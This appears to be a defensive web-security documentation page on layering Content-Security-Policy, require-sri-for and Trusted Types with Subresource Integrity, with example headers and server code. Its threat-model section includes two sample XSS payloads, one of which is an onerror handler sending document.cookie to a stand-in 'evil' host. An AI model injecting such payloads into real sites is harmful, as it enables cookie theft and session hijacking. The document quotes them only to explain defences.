Runtime Policy Enforcement & Trusted Types
Permalink to "Runtime Policy Enforcement & Trusted Types"Subresource Integrity verifies the bytes of an external file at the moment the browser fetches it, but it says nothing about what happens once parsing and script execution begin. Runtime policy enforcement — Content-Security-Policy, the require-sri-for directive, and Trusted Types — closes that gap by governing which scripts may run, which inline code is trusted, and which DOM operations are allowed, turning SRI’s single fetch-time check into a layered defense that spans the whole request-to-DOM lifecycle.
The threat model: what SRI alone leaves open
Permalink to "The threat model: what SRI alone leaves open"An integrity attribute is a fetch-time gate. It answers exactly one question — “are these bytes the ones I pinned?” — and answers it well. But a modern page is compromised in several ways that never route through an external fetch, so the integrity check never fires:
- Reflected and stored XSS into your own HTML. An attacker who can inject
<script>alert(document.cookie)</script>into a server-rendered page has added first-party inline code. There is no external URL to hash, so SRI is structurally blind to it. - Event-handler and
javascript:injection.<img src=x onerror="fetch('//evil/'+document.cookie)">executes without loading any script resource. Only a policy that forbids inline event handlers stops it. - DOM-based XSS through unsafe sinks. Application code that does
el.innerHTML = location.hashorscript.src = userInputcreates a sink the attacker controls entirely on the client. The dangerous assignment happens in already-trusted, already-integrity-verified code. - DOM clobbering. Injected markup with crafted
id/nameattributes shadows a global the application reads (window.config,document.forms), redirecting logic without executing any script at all. - Post-execution mutation. Once a script has passed its integrity check and is running, nothing about SRI constrains what it appends to the DOM afterward.
The table makes the boundary explicit:
| Attack vector | Stopped by SRI? | Stopped by CSP? | Stopped by Trusted Types? |
|---|---|---|---|
| Tampered CDN script (byte change) | Yes | Partially (allowlist) | No |
Inline <script> injection |
No | Yes (nonce/hash) | No |
Inline event handler / javascript: URI |
No | Yes (script-src blocks inline) |
No |
DOM XSS via innerHTML / script.src |
No | No | Yes |
| DOM clobbering of a global | No | No | Partially |
eval of attacker-controlled string |
No | Yes ('unsafe-eval' absent) |
Yes (TrustedScript) |
The three mechanisms are not interchangeable. SRI verifies content, CSP controls sources and inline execution, and Trusted Types govern DOM write operations. Each covers a column the others cannot. The design goal of this area is to compose all three so that no single column is left open — a strategy detailed in Coordinating SRI, CSP & Trusted Types.
Defense-in-depth: three layers at the request-to-DOM boundary
Permalink to "Defense-in-depth: three layers at the request-to-DOM boundary"The diagram below places each control at the point in the pipeline where it acts. SRI intercepts the network response, CSP intercepts parse-time and load-time execution decisions, and Trusted Types intercept the final DOM write.
Reading the diagram left to right: a resource that survives all three gates reaches the DOM unmodified; a resource that fails any gate is blocked at that layer and — critically — emits a violation report to a single endpoint. That reporting spine is what turns a static policy into an operational control, and it is the subject of Security Reporting & Violation Telemetry.
The Content-Security-Policy specification
Permalink to "The Content-Security-Policy specification"CSP is delivered as an HTTP response header (Content-Security-Policy) or, less capably, as a <meta http-equiv> tag. Its value is a semicolon-separated list of directives, each a directive name followed by space-separated source expressions.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m2024' 'strict-dynamic' https://cdn.example.com;
style-src 'self' 'sha384-oqVuAf...';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
trusted-types default dompurify;
report-to csp-endpoint
Nonce sources
Permalink to "Nonce sources"A nonce is a cryptographically random, single-use token generated per response. It appears twice: once in the policy as 'nonce-<value>' and once as the nonce attribute on each inline <script> you intend to allow. The browser executes an inline script only if its nonce attribute matches the policy value; injected inline scripts, lacking the unpredictable nonce, are blocked.
<script nonce="rAnd0m2024">
// First-party inline bootstrap — executes because the nonce matches the policy.
window.__APP_CONFIG__ = { region: 'eu' };
</script>
The nonce must be unguessable (at least 128 bits of entropy, base64-encoded) and must change on every response — a static nonce is equivalent to 'unsafe-inline'. Per-request generation is covered in depth in CSP Nonces & Hash-Based Policies.
Hash sources
Permalink to "Hash sources"When you cannot inject a per-request value — a fully static, CDN-cached page — use a hash source instead. The browser computes the SHA-256/384/512 digest of the inline script’s exact text content (no surrounding whitespace trimming) and allows execution only if it matches a 'sha384-...' token in script-src. This is the same digest family SRI uses, and the same SHA-256 vs SHA-384 vs SHA-512 for SRI rationale applies: prefer SHA-384.
script-src 'self' 'sha384-4bIhz3Q4b0aTS3mFq8p2Qw6r0dQ9v2sHnB1oJ3kLmN6pR8tU0wX2yZ4aB6cD8eF';
'strict-dynamic'
Permalink to "'strict-dynamic'" 'strict-dynamic' tells the browser to trust scripts loaded programmatically by an already-trusted (nonced or hashed) script, and to ignore host allowlist expressions. This lets a small nonced loader pull in the rest of the bundle without enumerating every CDN host, and it is the modern recommended pattern because host allowlists are frequently bypassable.
require-sri-for
Permalink to "require-sri-for" require-sri-for script style instructs the browser to refuse any <script> or <link rel="stylesheet"> that lacks an integrity attribute. This is the directive that welds CSP to SRI: the integrity attribute still performs the verification, but the directive makes it mandatory, so a dynamically injected tag with no hash is blocked before it fetches. The mechanics of combining the two are detailed in Combining require-sri-for with CSP.
Trusted Types enforcement mechanics
Permalink to "Trusted Types enforcement mechanics"Trusted Types attack the DOM-XSS column directly. When a policy contains require-trusted-types-for 'script', the browser stops accepting plain strings at injection sinks. Every assignment to a sink such as Element.innerHTML, HTMLScriptElement.src, HTMLScriptElement.text, eval(), document.write(), or an event-handler property must be a typed object — TrustedHTML, TrustedScript, or TrustedScriptURL — created by a named policy.
// Define exactly one auditable policy for HTML sanitization.
if (window.trustedTypes && trustedTypes.createPolicy) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input, { RETURN_TRUSTED_TYPE: false }),
createScriptURL: (url) => {
const u = new URL(url, location.origin);
if (u.origin !== location.origin) throw new TypeError('blocked cross-origin script URL');
return u.href;
},
});
// This now succeeds because the value is a TrustedHTML, not a raw string.
element.innerHTML = policy.createHTML(userSuppliedMarkup);
}
With enforcement on, the naive element.innerHTML = userSuppliedMarkup throws a TypeError and emits a securitypolicyviolation event. The security property is structural: instead of auditing thousands of scattered DOM writes, you audit the handful of createHTML/createScriptURL functions that are now the only way to produce a valid sink value. The trusted-types directive additionally restricts which policy names may be created (trusted-types default dompurify) and 'allow-duplicates'/default behavior can be locked down to prevent an attacker from registering a permissive policy of their own. Full rollout guidance lives in Trusted Types & DOM XSS Prevention and the enforcement-specific walkthrough in Enforcing require-trusted-types-for script.
How runtime policy interacts with SRI’s fetch-time check
Permalink to "How runtime policy interacts with SRI’s fetch-time check"It is worth being precise about ordering, because the three controls act at different moments and a misunderstanding here produces policies that look strict but leave gaps.
- CSP source check (parse/pre-fetch). When the parser encounters
<script src>, CSPscript-srcdecides whether the origin is permitted at all. A blocked origin never gets fetched, so SRI never runs on it. require-sri-forcheck (pre-fetch). If active, the browser confirms the element carries anintegrityattribute. Missing attribute — blocked here, again before fetch.- SRI integrity check (fetch time). The browser fetches the CORS-eligible response, computes the digest, and compares it to the
integrityvalue. This is the layer documented in Browser Enforcement & Security Boundaries. - Trusted Types check (DOM write). Entirely post-execution — it governs what the now-running, integrity-verified script may inject.
The consequence: CSP and require-sri-for decide whether a resource is eligible to be verified; SRI decides whether the bytes are authentic; Trusted Types decide what verified code may do afterward. Removing any one leaves a reachable path. A page with SRI but no CSP still runs injected inline scripts; a page with CSP nonces but no SRI still executes a tampered but allowlisted CDN file; a page with both but no Trusted Types still self-XSSes through innerHTML.
Production implementation patterns
Permalink to "Production implementation patterns"Per-request nonce in Express
Permalink to "Per-request nonce in Express"Generate the nonce in middleware, expose it to the template, and set the header in one place:
// server.js — Express nonce middleware
import crypto from 'node:crypto';
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
"object-src 'none'",
"base-uri 'none'",
"require-trusted-types-for 'script'",
'report-to csp-endpoint',
].join('; ')
);
res.setHeader('Reporting-Endpoints', 'csp-endpoint="/_csp-reports"');
next();
});
The template then renders <script nonce="">. Because the nonce is per-response, a cached HTML page must never be served with a stale nonce — mark nonce-bearing HTML Cache-Control: no-store or move nonce injection to the edge.
Per-request nonce in a Cloudflare Worker
Permalink to "Per-request nonce in a Cloudflare Worker"At the edge, generate the nonce and rewrite the streamed HTML so the CDN cache still holds a template:
// worker.js — inject a fresh nonce into cached HTML at the edge
export default {
async fetch(request, env) {
const nonce = btoa(crypto.getRandomValues(new Uint8Array(16)).join('')).slice(0, 22);
const response = await fetch(request);
const rewritten = new HTMLRewriter()
.on('script[data-nonce-placeholder]', {
element(el) {
el.setAttribute('nonce', nonce);
el.removeAttribute('data-nonce-placeholder');
},
})
.transform(response);
const headers = new Headers(rewritten.headers);
headers.set(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`require-trusted-types-for 'script'; report-to csp-endpoint`
);
headers.set('Reporting-Endpoints', 'csp-endpoint="/_csp-reports"');
return new Response(rewritten.body, { ...rewritten, headers });
},
};
Nginx per-request nonce
Permalink to "Nginx per-request nonce"Nginx generates a request-scoped variable and stamps both the header and — via SSI or a templating layer — the tag:
# nginx.conf — request_id gives a unique per-request token
map $request_id $csp_nonce { default $request_id; }
server {
ssi on;
add_header Content-Security-Policy
"default-src 'self'; script-src 'self' 'nonce-$csp_nonce' 'strict-dynamic'; require-trusted-types-for 'script'; report-to csp-endpoint" always;
add_header Reporting-Endpoints 'csp-endpoint="/_csp-reports"' always;
# In the template: <script nonce="<!--# echo var="csp_nonce" -->"> ... </script>
}
$request_id is a 32-hex-character value (128 bits) that is unique per request, satisfying the entropy and single-use requirements.
Hash-based CSP from build tooling
Permalink to "Hash-based CSP from build tooling"For static output, extract the digest of each inline script at build time and emit both the CSP header (into a _headers file, edge config, or origin config) and the page:
// scripts/build-csp-hashes.mjs — collect SHA-384 of every inline <script>
import { readFileSync, writeFileSync } from 'node:fs';
import { createHash } from 'node:crypto';
const html = readFileSync('dist/index.html', 'utf8');
const inline = [...html.matchAll(/<script(?![^>]*\bsrc=)[^>]*>([\s\S]*?)<\/script>/g)];
const sources = inline.map(([, body]) => {
const digest = createHash('sha384').update(body, 'utf8').digest('base64');
return `'sha384-${digest}'`;
});
const csp =
`default-src 'self'; script-src 'self' ${sources.join(' ')}; ` +
`require-trusted-types-for 'script'; report-to csp-endpoint`;
writeFileSync('dist/_headers', `/*\n Content-Security-Policy: ${csp}\n`);
console.log(`Emitted CSP with ${sources.length} inline-script hashes`);
The digest must be computed over the byte-exact inline content — any post-build minification of inline scripts invalidates it, exactly the failure class described for SRI in Debugging SRI Hash Mismatch Errors.
Report-Only rollout
Permalink to "Report-Only rollout"Ship the policy first as Content-Security-Policy-Report-Only. The browser evaluates every directive and reports violations but blocks nothing, so you observe the impact on real traffic before enforcing:
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' 'nonce-rAnd0m2024' 'strict-dynamic';
require-trusted-types-for 'script';
report-to csp-endpoint
Both headers can be sent simultaneously — an enforcing baseline plus a stricter Report-Only candidate — which is the safest way to tighten a live policy.
Cross-cutting architecture
Permalink to "Cross-cutting architecture"- CORS. Hash-based and nonce-based CSP do not change SRI’s CORS requirement: any externally fetched, integrity-checked resource still needs
crossorigin="anonymous"and a permissiveAccess-Control-Allow-Originresponse, or the browser cannot read the bytes to verify them. 'strict-dynamic'vs host allowlists. When you adopt'strict-dynamic', host expressions inscript-srcare ignored by supporting browsers. Keep them only as a fallback for older engines; do not rely on them as your primary control.metavs header. A<meta http-equiv="Content-Security-Policy">tag cannot carryreport-to, cannot be Report-Only, and applies only from its position onward in the document. Always prefer the response header.- COOP/COEP. Cross-Origin isolation headers pair naturally with this stack: a COEP-enabled context already requires cross-origin resources to be CORS-eligible, which is the same prerequisite SRI imposes, so enabling both is architecturally consistent.
- Static vs dynamic delivery. Nonces suit server-rendered and edge-rendered pages; hashes suit immutable static output. Choosing wrongly — a static site trying to use nonces without an edge rewrite — is the most common source of broken policies.
Compliance mapping
Permalink to "Compliance mapping"PCI DSS v4.0.1 — Requirements 6.4.3 and 11.6.1
Permalink to "PCI DSS v4.0.1 — Requirements 6.4.3 and 11.6.1"6.4.3 (mandatory since 31 March 2025) requires that every payment-page script is authorized, integrity-assured, and inventoried. A CSP script-src allowlist (or nonce/hash gate) supplies the authorization control; SRI supplies integrity assurance; your build manifest supplies the inventory. Requirement 11.6.1 additionally requires a mechanism to detect and alert on unauthorized modification of the security-impacting headers and script content of the payment page — a CSP violation-reporting endpoint feeding an alerting pipeline is a direct implementation of that tamper-detection signal.
SOC 2 Type II — CC6.1, CC6.6, CC7.2
Permalink to "SOC 2 Type II — CC6.1, CC6.6, CC7.2"CC6.1 and CC6.6 concern logical access controls that restrict unauthorized code; a strict CSP with Trusted Types is a preventive control mapped here. CC7.2 concerns detection of anomalies; the Reporting-API violation stream is the monitoring evidence, provided reports are retained and reviewed.
ISO 27001:2022 — A.8.9, A.8.16, A.8.26
Permalink to "ISO 27001:2022 — A.8.9, A.8.16, A.8.26"A.8.9 (configuration management) is satisfied by version-controlled, deterministically generated policy headers. A.8.16 (monitoring activities) maps to violation telemetry. A.8.26 (application security requirements) covers the requirement that runtime injection defenses are specified and enforced for in-scope applications.
Operational runbook
Permalink to "Operational runbook"Report-Only to enforce
Permalink to "Report-Only to enforce"- Deploy the candidate policy as
Content-Security-Policy-Report-Onlywith a livereport-toendpoint. - Collect for a full traffic cycle (at least one week to cover weekly usage patterns and every supported browser).
- Triage every reported directive violation: legitimate first-party code that needs a nonce/hash, a third-party script that needs an allowlist entry or a scoped Trusted Types policy, or a genuine injection attempt.
- Drive the violation rate on legitimate traffic to zero by fixing the policy, not by loosening it with
'unsafe-inline'. - Promote the header from
-Report-Onlyto enforcing. Keep a Report-Only header for the next, stricter candidate so tightening never stops.
Nonce rotation
Permalink to "Nonce rotation"Nonces rotate automatically — one per response — so there is no scheduled rotation. The operational risk is accidental caching of a nonce: any layer that caches nonce-bearing HTML (a CDN, a reverse proxy, a service worker) will replay a stale nonce, which supporting browsers reject and which is a security regression besides. Audit every cache tier for no-store on nonce HTML, or move nonce injection to the edge as shown above.
Violation triage
Permalink to "Violation triage"| Signal | Likely cause | First action |
|---|---|---|
Spike in script-src reports after a deploy |
New inline script shipped without a nonce/hash | Add nonce attribute or rebuild hash list |
Steady low rate of blocked-uri: inline |
Browser extension injecting into the page | Confirm benign; filter by disposition and source-file |
require-trusted-types-for violations from one vendor |
Third-party writes to a DOM sink | Scoped Trusted Types policy or replace dependency |
blocked-uri on a known CDN host |
Tampered or newly added external asset | Cross-check against SRI manifest; treat as incident |
For the report schema, endpoint design, and how to separate attacker signal from extension noise, see Collecting CSP Violation Reports with the Reporting API.
Rollback
Permalink to "Rollback"If an enforced policy breaks production, revert the single header to the last-known-good value (or drop to Report-Only) and redeploy. Because the policy is a response header, rollback is one deploy cycle and requires no asset changes — log the incident with the offending directive and the violation reports that preceded it.
Common pitfalls and mitigations
Permalink to "Common pitfalls and mitigations"| Issue | Root cause | Fix |
|---|---|---|
| Nonce reused across responses | Static nonce hardcoded, or nonce HTML cached | Generate per-request; set Cache-Control: no-store or inject at the edge |
| Inline hash never matches | Digest computed over trimmed or minified content | Hash the byte-exact inline text emitted in the final HTML |
'unsafe-inline' silently ignored |
Present alongside a nonce or hash | Browsers ignore 'unsafe-inline' when a nonce/hash is present — remove it to avoid confusion |
| Host allowlist bypassed | Relying on script-src host list without 'strict-dynamic' |
Adopt nonce + 'strict-dynamic'; treat host lists as legacy fallback |
| Trusted Types breaks a vendor script | Vendor writes raw strings to DOM sinks | Roll out Report-Only first; add a scoped policy or replace the dependency |
| Reports never arrive | report-to used without Reporting-Endpoints header |
Declare the endpoint with Reporting-Endpoints; keep report-uri as a fallback |
meta tag CSP can’t report |
<meta> cannot express report-to or Report-Only |
Deliver CSP as a response header |
| SRI dropped after adding CSP | Assuming CSP replaces integrity checks | Keep integrity attributes and add require-sri-for script style |
| DevTools shows policy but nothing blocks | Header sent as -Report-Only only |
Confirm the enforcing header is present once triage is clean |
FAQ
Permalink to "FAQ"Why isn't SRI enough on its own to stop XSS?
SRI verifies the bytes of externally fetched resources at fetch time and nothing else. Inline <script> injected into your own HTML, onerror/javascript: handlers, and DOM sinks like innerHTML never involve an external fetch, so the integrity check never runs against them. Those vectors are the job of a Content Security Policy (parse-time and load-time enforcement) and Trusted Types (DOM-write enforcement), which is why the three are deployed together.
Should I use CSP nonces or hashes?
Use a per-request nonce for server-rendered or edge-rendered inline scripts — it needs no rebuild when content changes and pairs with 'strict-dynamic'. Use hashes for a fixed set of inline scripts on immutable static output where you cannot inject a per-response value. The full decision matrix and generation code is in CSP Nonces & Hash-Based Policies.
What does require-trusted-types-for 'script' actually do?
It makes the browser reject a plain string passed to a dangerous DOM sink such as innerHTML, script.src, or eval. The value must be a TrustedHTML, TrustedScript, or TrustedScriptURL produced by a named policy. This collapses DOM-based XSS from a codebase-wide audit problem into a few auditable policy functions.
Does require-sri-for replace the integrity attribute?
No. The integrity attribute still carries the hash and performs the verification. require-sri-for is a CSP directive that makes carrying an integrity attribute mandatory, so a script or style without one is blocked before it fetches. The attribute verifies; the directive enforces that verification happens. See Combining require-sri-for with CSP.
How do I collect CSP violation reports in modern browsers?
Declare a named endpoint with the Reporting-Endpoints response header and reference it from the report-to directive. The browser POSTs a JSON report with Content-Type: application/reports+json when a directive is violated. The older report-uri directive is deprecated but worth keeping as a fallback for browsers that predate report-to.
Can Trusted Types break third-party scripts?
Yes — any third party that writes a raw string to a DOM sink will violate the policy. That is exactly why you roll out with Content-Security-Policy-Report-Only first: the violation names the script and the sink, so you can add a scoped policy for it or replace it before enforcing. Trusted Types & DOM XSS Prevention covers the staged rollout.
Is any of this required for PCI DSS?
Requirement 6.4.3 requires payment-page scripts to be authorized, integrity-assured, and inventoried; a CSP allowlist supplies authorization, SRI supplies integrity, and your build manifest supplies inventory. Requirement 11.6.1 requires detecting unauthorized changes to the payment page, which a CSP violation-reporting endpoint feeding alerting implements directly.
Related
Permalink to "Related"- CSP Nonces & Hash-Based Policies — per-request nonce generation, hash sources,
'strict-dynamic', and migrating away from'unsafe-inline'. - Trusted Types & DOM XSS Prevention — enforcing
require-trusted-types-for 'script', authoring policies, and DOM-sink hardening. - Coordinating SRI, CSP & Trusted Types — composing all three controls into a single defense-in-depth script pipeline.
- Security Reporting & Violation Telemetry — Reporting API endpoints, report schemas, and turning violations into alerts.
- Configuring Content-Security-Policy with SRI — the header-syntax reference for combining CSP directives with integrity attributes.
- Browser Enforcement & Security Boundaries — the fetch-time enforcement layer that SRI’s integrity check runs within.